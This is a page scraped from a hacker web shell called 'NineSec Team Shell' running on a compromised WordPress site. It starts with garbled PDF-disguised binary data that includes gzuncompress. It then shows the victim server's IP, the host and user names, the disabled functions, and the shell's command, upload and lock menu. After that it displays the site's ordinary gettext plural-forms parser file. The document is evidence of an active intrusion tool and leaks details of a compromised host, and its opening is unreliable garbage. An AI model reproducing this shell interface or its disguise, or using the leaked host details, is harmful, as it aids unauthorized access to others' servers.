%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 52.14.184.10
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u636808025/domains/converta.app/public_html/wp-includes/pomo/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u636808025/domains/converta.app/public_html/wp-includes/pomo/plural-forms.php
<?php

/**
 * A gettext Plural-Forms parser.
 *
 * @since 4.9.0
 */
if ( ! class_exists( 'Plural_Forms', false ) ) :
	#[AllowDynamicProperties]
	class Plural_Forms {
		/**
		 * Operator characters.
		 *
		 * @since 4.9.0
		 * @var string OP_CHARS Operator characters.
		 */
		const OP_CHARS = '|&><!=%?:';

		/**
		 * Valid number characters.
		 *
		 * @since 4.9.0
		 * @var string NUM_CHARS Valid number characters.
		 */
		const NUM_CHARS = '0123456789';

		/**
		 * Operator precedence.
		 *
		 * Operator precedence from highest to lowest. Higher numbers indicate
		 * higher precedence, and are executed first.
		 *
		 * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
		 *
		 * @since 4.9.0
		 * @var array $op_precedence Operator precedence from highest to lowest.
		 */
		protected static $op_precedence = array(
			'%'  => 6,

			'<'  => 5,
			'<=' => 5,
			'>'  => 5,
			'>=' => 5,

			'==' => 4,
			'!=' => 4,

			'&&' => 3,

			'||' => 2,

			'?:' => 1,
			'?'  => 1,

			'('  => 0,
			')'  => 0,
		);

		/**
		 * Tokens generated from the string.
		 *
		 * @since 4.9.0
		 * @var array $tokens List of tokens.
		 */
		protected $tokens = array();

		/**
		 * Cache for repeated calls to the function.
		 *
		 * @since 4.9.0
		 * @var array $cache Map of $n => $result
		 */
		protected $cache = array();

		/**
		 * Constructor.
		 *
		 * @since 4.9.0
		 *
		 * @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
		 */
		public function __construct( $str ) {
			$this->parse( $str );
		}

		/**
		 * Parse a Plural-Forms string into tokens.
		 *
		 * Uses the shunting-yard algorithm to convert the string to Reverse Polish
		 * Notation tokens.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If there is a syntax or parsing error with the string.
		 *
		 * @param string $str String to parse.
		 */
		protected function parse( $str ) {
			$pos = 0;
			$len = strlen( $str );

			// Convert infix operators to postfix using the shunting-yard algorithm.
			$output = array();
			$stack  = array();
			while ( $pos < $len ) {
				$next = substr( $str, $pos, 1 );

				switch ( $next ) {
					// Ignore whitespace.
					case ' ':
					case "\t":
						++$pos;
						break;

					// Variable (n).
					case 'n':
						$output[] = array( 'var' );
						++$pos;
						break;

					// Parentheses.
					case '(':
						$stack[] = $next;
						++$pos;
						break;

					case ')':
						$found = false;
						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];
							if ( '(' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								continue;
							}

							// Discard open paren.
							array_pop( $stack );
							$found = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Mismatched parentheses' );
						}

						++$pos;
						break;

					// Operators.
					case '|':
					case '&':
					case '>':
					case '<':
					case '!':
					case '=':
					case '%':
					case '?':
						$end_operator = strspn( $str, self::OP_CHARS, $pos );
						$operator     = substr( $str, $pos, $end_operator );
						if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
							throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
						}

						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];

							// Ternary is right-associative in C.
							if ( '?:' === $operator || '?' === $operator ) {
								if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
									break;
								}
							} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
								break;
							}

							$output[] = array( 'op', array_pop( $stack ) );
						}
						$stack[] = $operator;

						$pos += $end_operator;
						break;

					// Ternary "else".
					case ':':
						$found = false;
						$s_pos = count( $stack ) - 1;
						while ( $s_pos >= 0 ) {
							$o2 = $stack[ $s_pos ];
							if ( '?' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								--$s_pos;
								continue;
							}

							// Replace.
							$stack[ $s_pos ] = '?:';
							$found           = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Missing starting "?" ternary operator' );
						}
						++$pos;
						break;

					// Default - number or invalid.
					default:
						if ( $next >= '0' && $next <= '9' ) {
							$span     = strspn( $str, self::NUM_CHARS, $pos );
							$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
							$pos     += $span;
							break;
						}

						throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
				}
			}

			while ( ! empty( $stack ) ) {
				$o2 = array_pop( $stack );
				if ( '(' === $o2 || ')' === $o2 ) {
					throw new Exception( 'Mismatched parentheses' );
				}

				$output[] = array( 'op', $o2 );
			}

			$this->tokens = $output;
		}

		/**
		 * Get the plural form for a number.
		 *
		 * Caches the value for repeated calls.
		 *
		 * @since 4.9.0
		 *
		 * @param int $num Number to get plural form for.
		 * @return int Plural form value.
		 */
		public function get( $num ) {
			if ( isset( $this->cache[ $num ] ) ) {
				return $this->cache[ $num ];
			}
			$this->cache[ $num ] = $this->execute( $num );
			return $this->cache[ $num ];
		}

		/**
		 * Execute the plural form function.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If the plural form value cannot be calculated.
		 *
		 * @param int $n Variable "n" to substitute.
		 * @return int Plural form value.
		 */
		public function execute( $n ) {
			$stack = array();
			$i     = 0;
			$total = count( $this->tokens );
			while ( $i < $total ) {
				$next = $this->tokens[ $i ];
				++$i;
				if ( 'var' === $next[0] ) {
					$stack[] = $n;
					continue;
				} elseif ( 'value' === $next[0] ) {
					$stack[] = $next[1];
					continue;
				}

				// Only operators left.
				switch ( $next[1] ) {
					case '%':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 % $v2;
						break;

					case '||':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 || $v2;
						break;

					case '&&':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 && $v2;
						break;

					case '<':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 < $v2;
						break;

					case '<=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 <= $v2;
						break;

					case '>':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 > $v2;
						break;

					case '>=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 >= $v2;
						break;

					case '!=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 !== $v2;
						break;

					case '==':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 === $v2;
						break;

					case '?:':
						$v3      = array_pop( $stack );
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 ? $v2 : $v3;
						break;

					default:
						throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
				}
			}

			if ( count( $stack ) !== 1 ) {
				throw new Exception( 'Too many values remaining on the stack' );
			}

			return (int) $stack[0];
		}
	}
endif;

NineSec Team - 2022